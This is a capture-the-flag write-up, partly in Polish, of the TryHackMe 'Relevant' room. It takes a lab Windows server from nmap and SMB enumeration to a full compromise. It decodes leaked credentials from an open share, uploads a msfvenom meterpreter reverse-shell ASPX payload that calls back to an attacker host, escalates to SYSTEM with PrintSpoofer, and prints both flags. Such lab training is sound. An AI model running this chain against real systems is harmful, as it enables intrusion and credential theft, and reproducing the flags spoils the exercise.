

# Relevant

- <https://tryhackme.com/room/relevant>
- IP: 10.10.94.160

## Cel

- User.txt
- Root.txt

## Ping

```
ping 10.10.94.160
```

- PING 10.10.94.160 (10.10.94.160) 56(84) bytes of data.  
64 bytes from 10.10.94.160: icmp\_seq=1 ttl=127 time=114 ms  
64 bytes from 10.10.94.160: icmp\_seq=2 ttl=127 time=135 ms  
64 bytes from 10.10.94.160: icmp\_seq=3 ttl=127 time=57.0 ms
- ttl=127 : Windows

## Nmap Init

```
nmap -p- 10.10.94.160
```

- PORT STATE SERVICE  
80/tcp open http  
135/tcp open msrpc  
139/tcp open netbios-ssn  
445/tcp open microsoft-ds  
3389/tcp open ms-wbt-server  
49663/tcp open unknown  
49667/tcp open unknown  
49669/tcp open unknown

## Nmap Full

```
nmap -sCV -p 80,135,139,445,3389,49663,49667,49669 10.10.94.160
```

- PORT STATE SERVICE VERSION

80/tcp open http **Microsoft HTTPAPI httpd 2.0** (SSDP/UPnP)

| http-server-header: Microsoft-IIS/10.0

| http-methods:

|\_ Potentially risky methods: TRACE

| http-title: IIS Windows Server

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation

14393 microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Services

| ssl-date: 2022-09-25T07:33:00+00:00; +2s from scanner time.

| rdp-ntlm-info:

| TargetName: *RELEVANT*

| NetBIOS\_Domain\_Name: *RELEVANT*

| NetBIOS\_Computer\_Name: *RELEVANT*

| DNS\_Domain\_Name: *Relevant*

| DNS\_Computer\_Name: *Relevant*

| Product\_Version: *10.0.14393*

| System\_Time: 2022-09-25T07:32:20+00:00

| ssl-cert: Subject: commonName=Relevant

| Not valid before: 2022-09-24T07:16:51

| Not valid after: 2023-03-26T07:16:51

49663/tcp open http Microsoft IIS httpd 10.0

| http-server-header: Microsoft-IIS/10.0

| http-title: IIS Windows Server

| http-methods:

|\_ Potentially risky methods: TRACE

49667/tcp open msrpc Microsoft Windows RPC

49669/tcp open msrpc Microsoft Windows RPC

Service Info: OSs: Windows, **Windows Server 2008 R2 - 2012**; CPE:

cpe:/o:microsoft:windows

Host script results:

```
| clock-skew: mean: 1h24m02s, deviation: 3h07m50s, median: 2s
| smb2-security-mode:
| 3.1.1:
| Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-09-25T07:32:25
| startdate: 2022-09-25T07:17:09
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server
2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
| System time: 2022-09-25T00:32:21-07:00
```

## WEB Enumaration

### dirbuster

- slownik: directory-list-lowercase-2.3-medium.txt
- brak wyników

## SMB Enumeracja

### SMBClient

```
smbclient -L 10.10.94.160
```

- Sharename Type Comment  
-----  
ADMIN\$ Disk Remote Admin  
C\$ Disk Default share  
IPC\$ IPC Remote IPC  
nt4wrksv Disk

# Nmap + smb scripts

## Enum

```
nmap -Pn -p 139,445 --script=smb-enum* 10.10.94.160
```

- PORT STATE SERVICE  
139/tcp open netbios-ssn  
445/tcp open microsoft-ds

```
Host script results:
| smb-enum-sessions:
|   <nobody>
| smb-enum-shares:
|   account_used: guest
|   \\10.10.94.160\ADMIN\$:
|     Type \:STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.94.160\C$:
|     Type\: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.10.94.160\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.10.94.160\nt4wrksv:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|     Current user access: READ/WRITE\
```

## Vuln

```
nmap -p 139,445 --script=smb-vuln* 10.10.94.160
```

```
PORT    STATE SERVICE
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
```

Host script results:

```
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft
SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-
guidance-for-wannacrypt-attacks/
|_       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

- Podatnosc ms17-010 (CVE-2017-0143)

## SMB

- Logowanie do nie standardowego share

```
smbclient \\\\10.10.94.160\\nt4wrksv
```

Try "help" to get a list of possible commands.

```
smb: \> dir
```

.	D	0	Sun Sep 25 04:12:20 2022
..	D	0	Sun Sep 25 04:12:20 2022
passwords.txt	A	98	Sat Jul 25 11:15:33 2020

- Pobranie passwords.txt

```
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.5 KiloBytes/sec)
(average 0.5 KiloBytes/sec)
smb: \>
```

```
(kali㉿kali)-[~]
└─$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
```

- Encoding base64 - Cyberchef
  - Qm9iIC0gIVBAJCRXMHJEITEyMw== | **Bob - !P@\$W0rD!123**
  - QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk | **Bill - Juw4nnaM4n420696969!\$\$\$**
- **Mozliwosc przesłania pliku**

## Reverse Shell

```
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.11.83.56 lport=4444
-f aspx
> shell.aspx
```

- Przesłanie shell.aspx

```
smb: \> ls
.                D            0   Sat Jul 25 17:46:04 2020
..               D            0   Sat Jul 25 17:46:04 2020
passwords.txt    A            98   Sat Jul 25 11:15:33 2020

7735807 blocks of size 4096. 5141021 blocks available
smb: \> put shell.aspx
putting file shell.aspx as \shell.aspx (1304.2 kb/s) (average 1304.2 kb/s)
smb: \> ls
.                D            0   Sun Sep 25 06:34:30 2022
..               D            0   Sun Sep 25 06:34:30 2022
passwords.txt    A            98   Sat Jul 25 11:15:33 2020
shell.aspx       A       1014970   Sun Sep 25 06:34:31 2022
```

7735807 blocks of size 4096. 5140757 blocks available

- Metapreter: multi/handler

```
msf6 > use 5
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.11.83.56
LHOST => 10.11.83.56
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.11.83.56:4444
```

- Wywołanie shell.aspx

```
curl http://10.10.167.222:49663/nt4wrksv/shell.aspx
```

```
[*] Meterpreter session 1 opened (10.11.83.56:4444 -> 10.10.167.222:49875) at
2022-09-25 06:41:09 -0400
```

```
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter >
```

## User flag

```
meterpreter > cd ..
meterpreter > cd ..
meterpreter > cd ..
meterpreter > ls
```

Listing: c:\

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040777/rwxrwxrwx	0	dir	2020-07-25 10:58:27 -0400	\$Recycle.Bin
100666/rw-rw-rw-	1	fil	2016-07-16 09:18:08 -0400	BOOTNXT
040777/rwxrwxrwx	0	dir	2020-07-25 13:55:45 -0400	Documents and Settings
040777/rwxrwxrwx	0	dir	2020-07-25 11:42:39 -0400	Microsoft
040777/rwxrwxrwx	0	dir	2016-07-16 09:23:21 -0400	PerfLogs
040555/r-xr-xr-x	4096	dir	2020-07-25 11:00:25 -0400	Program Files
040777/rwxrwxrwx	4096	dir	2020-07-25 19:15:10 -0400	Program Files (x86)
040777/rwxrwxrwx	4096	dir	2020-07-25 11:38:16 -0400	ProgramData
040777/rwxrwxrwx	0	dir	2020-07-25 10:56:06 -0400	Recovery
040777/rwxrwxrwx	0	dir	2020-07-25 13:55:09 -0400	System Volume Information
040555/r-xr-xr-x	4096	dir	2020-07-25 17:03:33 -0400	Users
040777/rwxrwxrwx	24576	dir	2020-07-25 19:16:20 -0400	Windows
100444/r--r--r--	384322	fil	2016-07-16 09:18:08 -0400	bootmgr
040777/rwxrwxrwx	4096	dir	2020-07-25 11:16:48 -0400	inetpub
000000/-	0	fif	1969-12-31 19:00:00 -0500	pagefile.sys

meterpreter > cd Users

meterpreter > ls

Listing: c:\Users

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040777/rwxrwxrwx	8192	dir	2020-07-25 11:05:52 -0400	.NET v4.5
040777/rwxrwxrwx	8192	dir	2020-07-25 11:05:49 -0400	.NET v4.5 Classic
040777/rwxrwxrwx	8192	dir	2020-07-25 13:30:12 -0400	Administrator
040777/rwxrwxrwx	0	dir	2016-07-16 09:34:35 -0400	All Users
040777/rwxrwxrwx	0	dir	2020-07-25 17:03:44 -0400	Bob
040555/r-xr-xr-x	0	dir	2020-07-25 13:55:45 -0400	Default
040777/rwxrwxrwx	0	dir	2016-07-16 09:34:35 -0400	Default User
040555/r-xr-xr-x	4096	dir	2020-07-25 10:58:09 -0400	Public
100666/rw-rw-rw-	174	fil	2016-07-16 09:21:29 -0400	desktop.ini

meterpreter > cd Bob

meterpreter > ls

Listing: c:\Users\Bob

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----



```
040777/rwxrwxrwx 0 dir 2020-07-25 17:04:05 -0400 Desktop
```

```
meterpreter > cd Desktop
```

```
meterpreter > ls
```

```
Listing: c:\Users\Bob\Desktop
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100666/rw-rw-rw-	35	fil	2020-07-25 11:24:43 -0400	user.txt

```
meterpreter > cat user.txt
```

```
THM{fdk4ka34vk346ksxfr21tg789ktf45}
```

## Root flag

- Sprawdzenie Privilege

```
meterpreter > getprivs
```

```
Enabled Process Privileges
```

```
=====
```

```
Name
```

```
----
```

```
SeAssignPrimaryTokenPrivilege
```

```
SeAuditPrivilege
```


```
SeChangeNotifyPrivilege
```

```
SeCreateGlobalPrivilege
```

```
SeImpersonatePrivilege
```

```
SeIncreaseQuotaPrivilege
```

```
SeIncreaseWorkingSetPrivilege
```

- **SeImpersonatePrivilege**
- PrintSpoofer
  -  <https://github.com/dievus/printspoofer>
- Przesłanie .exe

```
smb: \> put PrintSpoofer.exe
```

```
putting file PrintSpoofer.exe as \PrintSpoofer.exe (123.8 kb/s) (average
```

123.8 kb/s)

smb: \> ls

.	D	0	Sun Sep 25 07:02:05 2022
..	D	0	Sun Sep 25 07:02:05 2022
passwords.txt	A	98	Sat Jul 25 11:15:33 2020
PrintSpoofer.exe	A	27136	Sun Sep 25 07:02:05 2022
shell.aspx	A	1014970	Sun Sep 25 06:34:31 2022

7735807 blocks of size 4096. 5138201 blocks available

- PrivEsc

```
c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c powershell.exe
```

```
PrintSpoofer.exe -i -c powershell.exe
```

```
[+] Found privilege: SeImpersonatePrivilege
```

```
[+] Named pipe listening...
```

```
[+] CreateProcessAsUser() OK
```

```
Windows PowerShell
```

```
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
```

```
PS C:\Windows\system32> whoami
```

```
whoami
```

```
nt authority\system
```

```
PS C:\Windows\system32> cd \users\administrator\desktop
```

```
cd \users\administrator\desktop
```

```
PS C:\users\administrator\desktop> dir
```

```
dir
```

Directory: C:\users\administrator\desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	7/25/2020 8:25 AM	35	root.txt

```
PS C:\users\administrator\desktop> cat root.txt
```

```
cat root.txt
```

```
THM{1fk5kf469devly1gl320zafgl345pv}
```

- THM{1fk5kf469devly1gl320zafgl345pv}